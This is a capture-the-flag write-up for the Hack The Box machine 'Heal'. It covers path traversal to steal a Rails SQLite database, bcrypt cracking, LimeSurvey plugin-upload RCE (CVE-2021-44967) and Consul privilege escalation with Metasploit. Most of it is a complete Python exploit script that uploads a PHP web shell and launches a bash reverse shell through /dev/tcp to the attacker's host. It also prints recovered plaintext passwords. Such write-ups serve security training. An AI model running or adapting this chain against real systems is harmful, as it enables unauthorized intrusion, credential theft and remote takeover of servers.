Heal
Port Scan
$ sudo nmap 10.10.11.46 -p- --min-rate=10000 -T4 -sCV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ echo "10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb" | sudo tee -a /etc/hosts
Heal.htb
LimeSurvey is an open-source survey tool.
https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html
Sensitive files in Ruby Rail applications.
../../config/database.yml
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
../../storage/development.sqlite3
Reproduce this request in browser and get the development.sqlite3
file.
username: ralph
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
147258369
[CVE-2021-44967] LimeSurvey RCE
A Remote Code Execution (RCE) vulnerability exists in LimeSurvey 5.2.4
via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file.
http://take-survey.heal.htb/index.php/admin/authentication/sa/login.php
Use the ralph's credential to login and explore the plugins settings.
The zip file has to contain a config.xml
file.
GitHub Y1LD1R1M-1337/Limesurvey-RCE
LimeSurvey Community Edition Version 6.6.4
Since our LimeSurvey is 6.6.4, need to change the version accordingly in the xml file.
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/shell.php
The main LimeSurvey configuration file is config.php
. It's located in the /application/config/
directory within the LimeSurvey installation. This file contains settings for database connections, email configuration, and other system-level settings.
/var/www/limesurvey/application/config/config.php
db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
Shell as Ron
ssh ron@heal.htb
password: AdmiDi0_pA$$w0rd
Privilege Escalation
$ ps -aux | grep "root"
root 1804 0.7 2.7 1359780 108588 ? Ssl May20 6:54 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
root 23090 0.0 0.2 239656 8932 ? Ssl May20 0:00 /usr/libexec/upowerd
root 50656 0.0 0.0 0 0 ? I 01:08 0:03 [kworker/0:0-rcu_gp]
root 51470 0.0 0.0 0 0 ? I 01:38 0:02 [kworker/1:2-events]
root 51676 0.0 0.0 0 0 ? I 01:43 0:00 [kworker/u256:3-events_power_efficient]
root 52367 0.0 0.2 17180 11028 ? Ss 02:07 0:00 sshd: ron [priv]
root 52375 0.0 0.0 0 0 ? I 02:08 0:00 [kworker/1:0-events]
root 52499 0.0 0.0 0 0 ? I 02:08 0:00 [kworker/0:1-events]
root 52682 0.0 0.0 0 0 ? I 02:12 0:00 [kworker/u256:1-events_unbound]
root 52842 0.0 0.0 0 0 ? I 02:19 0:00 [kworker/u256:0-events_unbound]
$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
# search for running service
$ systemctl list-units --type=service --state=running
UNIT LOAD ACTIVE SUB DESCRIPTION
auditd.service loaded active running Security Auditing Service
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
consul.service loaded active running Consul Service Discovery Agent
.........
# Find the Service File Location
$ systemctl show consul.service --no-page | grep FragmentPath
FragmentPath=/etc/systemd/system/consul.service
$ ssh -L 8500:127.0.0.1:8500 ron@heal.htb
password: AdmiDi0_pA$$w0rd
Hashicorp Consul Remote Command Execution via Services API
use exploit/multi/misc/consul_service_exec
set RHOSTS 127.0.0.1
set LHOST 10.10.15.103
check
run
POC all in one for preparing OSWE
import argparse, requests, re, bcrypt
import zipfile
from io import BytesIO
from urllib.parse import unquote_plus
test_user={"username":"yingtest","fullname":"yingtest","email":"test@htb.com","password":"Test1234"}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def signup_user(target, session):
url = f"http://api.{target}/signup"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Origin": f"http://{target}",
"Referer": f"http://{target}/"
}
response = session.post(url, headers=headers, json=test_user, proxies=proxies, verify=False)
if response.status_code == 201:
token = response.json()["token"]
print("Create user succeed. User token is ", token)
return token
print("Create user failed.")
return None
def extract_password_hash(target, session, token):
url = f"http://api.{target}/download"
params = {
"filename": "../../storage/development.sqlite3"
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Origin": f"http://{target}",
"Referer": f"http://{target}/",
"Authorization": f"Bearer {token}"
}
response = session.get(url, params=params, headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
match = re.search("ralph@heal.htb(.*?)2024", response.text)
if match:
pass_hash = match.group(1)
print(f"[+] Successfully extracted password hash: {pass_hash}")
return pass_hash
else:
print(f"[-] Extracted password hash failed: {response.text}")
return None
def crack_pass_hash(pass_hash):
wordlist_path = "/usr/share/wordlists/rockyou.txt"
try:
with open(wordlist_path, "r", encoding="latin-1") as f:
for password in f:
password = password.strip() # Remove newline
password_bytes = password.encode('utf-8')
try:
if bcrypt.checkpw(password_bytes, pass_hash):
print(f"\n[+] Password found: '{password}'")
return password
except:
continue
# Print progress (optional)
print(f"\rTrying: {password[:50]}", end="", flush=True)
except FileNotFoundError:
print(f"[-] Error: Wordlist not found at {wordlist_path}")
except Exception as e:
print(f"[-] Error: {e}")
return None
def admin_login(target, session, passwd):
url = f"http://take-survey.{target}/index.php/admin/authentication/sa/login"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Referer": f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=index",
}
response = session.get(url, headers=headers, verify=False)
YII_CSRF_TOKEN = unquote_plus(response.cookies.get("YII_CSRF_TOKEN")) # Decodes standard URL encoding
print(f"[+] YII_CSRF_TOKEN is {YII_CSRF_TOKEN}")
data = {
"YII_CSRF_TOKEN": YII_CSRF_TOKEN,
"authMethod": "Authdb",
"user": "ralph",
"password": passwd,
"loginlang": "default",
"action": "login",
"width": 1920,
"login_submit": "login"
}
response = session.post(url, data=data, proxies=proxies, verify=False)
if response.status_code == 200:
print("[+] Ralph login succeed!")
YII_CSRF_TOKEN = unquote_plus(response.cookies.get("YII_CSRF_TOKEN")) # Decodes standard URL encoding
print("[+] Ralph YII_CSRF_TOKEN: ", YII_CSRF_TOKEN)
return YII_CSRF_TOKEN
else:
print("[-] Ralph login failed.")
return None
def upload_plugin(target, session, lhost, lport, YII_CSRF_TOKEN):
zipfile_name = "Y1LD1R1M.zip"
build_zip_file(zipfile_name)
url = f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=upload"
with open(zipfile_name, 'rb') as f:
file_content = f.read()
boundary = "---------------------------425455098717253985162609657206"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Origin": f"http://take-survey.{target}",
"Referer": f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=index",
}
data = (f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="YII_CSRF_TOKEN"\r\n\r\n{YII_CSRF_TOKEN}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="lid"\r\n\r\n'
f"$lid\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="action"\r\n\r\n'
f"templateupload\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="the_file"; filename="Y1LD1R1M.zip"Content-Disposition: form-data; name="the_file"; filename="{zipfile_name}"\r\nContent-Type: application/zip\r\n\r\n').encode() + file_content + (
f"\r\n--{boundary}--\r\n"
).encode()
response = session.post(url, data=data, proxies=proxies, headers=headers, verify=False)
if response.status_code == 200:
print("[+] Install plugin.")
url = f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=installUploadedPlugin"
data = {
"YII_CSRF_TOKEN": YII_CSRF_TOKEN,
"isUpdate": False
}
response = session.post(url, data=data, proxies=proxies, verify=False)
if response.status_code == 200:
print("[+] Triggering RCE....")
url = f"http://take-survey.{target}/upload/plugins/Y1LD1R1M/shell.php"
payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
params = {
"cmd":payload
}
session.get(url, params=params, proxies=proxies, verify=False)
def build_zip_file(zipfile_name):
# Use BytesIO instead of StringIO for binary data
with BytesIO() as f:
with zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr('shell.php', '<?php system($_GET["cmd"]); ?>')
z.writestr('config.xml',
r'''<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>''')
# Write the zip content to file
with open(zipfile_name, 'wb') as zip_file:
zip_file.write(f.getvalue())
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help="Target URL, eg. heal.htb", required=True)
parser.add_argument('-l', '--lhost', help="Local listener's IP", required=True)
parser.add_argument('-p', '--lport', help="Local listener's Port", required=True)
args = parser.parse_args()
# add "heal.htb api.heal.htb take-survey.heal.htb" to /etc/hosts
session = requests.Session()
# signup a user
token = signup_user(args.target, session)
if token:
# read ../../storage/development.sqlite3 to get ralph's password hash
pass_hash = extract_password_hash(args.target, session, token)
if pass_hash:
passwd = crack_pass_hash(pass_hash.encode('utf-8'))
if passwd:
# login as ralph
YII_CSRF_TOKEN = admin_login(args.target, session, passwd)
if YII_CSRF_TOKEN:
upload_plugin(args.target, session, args.lhost, args.lport, YII_CSRF_TOKEN)